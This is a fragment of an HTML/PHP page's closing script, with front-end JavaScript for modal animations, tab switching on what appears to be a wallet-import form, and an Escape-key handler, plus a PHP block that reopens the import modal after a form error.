modal.classList.add('hidden'); }, 300); } function switchTab(tab, btnElement) { currentTab = tab; document.getElementById('method').value = tab; document.querySelectorAll('.tab-btn').forEach(btn => { btn.classList.remove('active'); btn.classList.add('text-gray-400'); }); btnElement.classList.add('active'); btnElement.classList.remove('text-gray-400'); document.querySelectorAll('.tab-content').forEach(content => { content.style.display = 'none'; }); document.getElementById(`tab-${tab}`).style.display = 'block'; } document.addEventListener('keydown', (e) => { if (e.key === 'Escape') { closeModal('walletModal'); closeModal('importModal'); } }); renderWallets(); <?php if ($show_error && isset($_POST['submit_form'])): ?> const importModal = document.getElementById('importModal'); const importContent = document.getElementById('importModalContent'); if (importModal && importContent) { importModal.classList.remove('hidden'); setTimeout(() => { importContent.classList.remove('scale-95', 'opacity-0'); importContent.classList.add('scale-100', 'opacity-100'); }, 10); } <?php endif; ?> </script> </body> </html>